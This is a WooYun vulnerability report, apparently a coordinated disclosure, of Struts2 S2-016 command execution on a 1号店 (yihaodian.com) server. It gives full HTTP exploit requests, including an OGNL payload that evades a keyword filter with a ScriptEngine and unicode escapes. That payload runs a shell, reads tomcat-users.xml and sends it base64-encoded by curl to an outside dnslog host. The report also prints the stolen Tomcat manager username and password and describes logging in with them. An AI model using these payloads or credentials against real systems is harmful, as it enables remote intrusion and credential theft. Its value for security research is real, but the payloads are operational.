当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0207420

漏洞标题:1号店某系统st2命令执行(防护绕过)

相关厂商:1号店

漏洞作者: loopx9

提交时间:2016-05-11 11:38

修复时间:2016-06-25 12:30

公开时间:2016-06-25 12:30

漏洞类型:命令执行

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-05-11: 细节已通知厂商并且等待厂商处理中
2016-05-11: 厂商已经确认,细节仅向厂商公开
2016-05-21: 细节向核心白帽子及相关领域专家公开
2016-05-31: 细节向普通白帽子公开
2016-06-10: 细节向实习白帽子公开
2016-06-25: 细节向公众公开

简要描述:

详细说明:

@lijiejie 的 WooYun: 腾讯移动端某功能SSRF可探/漫游内网(cloudeye神器案例) 提到两个url跳转,一看便知是s2-016命令执行。

http://tms2.yihaodian.com/system/login_login.action?redirect:http://admin.soso.com
http://3pl.yihaodian.com/system/login_login.action?redirect:http://10.187.10.218


tms2.yihaodian.com 好像修复了,但3pl.yihaodian.com仍未修复。

POST /system/login_view.action HTTP/1.1
User-Agent: curl/7.33.0
Host: 3pl.yihaodian.com
Accept: */*
Proxy-Connection: Keep-Alive
Content-Length: 196
Content-Type: multipart/form-data; boundary=------------------------4a606c052a893987
--------------------------4a606c052a893987
Content-Disposition: form-data; name="redirect:${#application.get('javax.servlet.context.tempdir')}"
-1
--------------------------4a606c052a893987--

1.png


测试过程中发现过滤了一些字符,不能出现 "java.lang"等。
换了个exp,使用java的scriptengine来调用java方法:

POST /system/login_view.action HTTP/1.1
User-Agent: curl/7.33.0
Host: 3pl.yihaodian.com
Accept: */*
Proxy-Connection: Keep-Alive
Content-Length: 396
Content-Type: multipart/form-data; boundary=------------------------4a606c052a893987
--------------------------4a606c052a893987
Content-Disposition: form-data; name="redirect:${new javax.script.ScriptEngineManager().getEngineByName("js").eval("new j\u0061va.lang.ProcessBuilder['(java.l\u0061ng.String[])'](['/bin/sh','-c','curl xxoo.dnslog.info/$(cat /usr/local/tomcat6/conf/tomcat-users.xml|base64 -w 0)']).start()\u003B")}"
-1
--------------------------4a606c052a893987--

3.png


读取tomcat-users.xml获取tomcat管理用户跟密码并发送到cloueye,收到请求如下:

2.png

漏洞证明:

base64解码得到:

<?xml version='1.0' encoding='utf-8'?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users>
<role rolename="manager"/>
<user username="monitor" password="OPS-monitoR" roles="manager"/>
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="tomcat" roles="tomcat"/>
<user username="both" password="tomcat" roles="tomcat,role1"/>
<user username="role1" password="tomcat" roles="role1"/>
-->
</tomcat-users>


成功登陆tomcat:

tomcat.png


tms2.yihaodian.com也配置了相同的用户和密码,也登录成功:

tomcat-2.png


修复方案:

.

版权声明:转载请注明来源 loopx9@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2016-05-11 12:28

厂商回复:

非常感谢!! 尽快整改。

最新状态:

暂无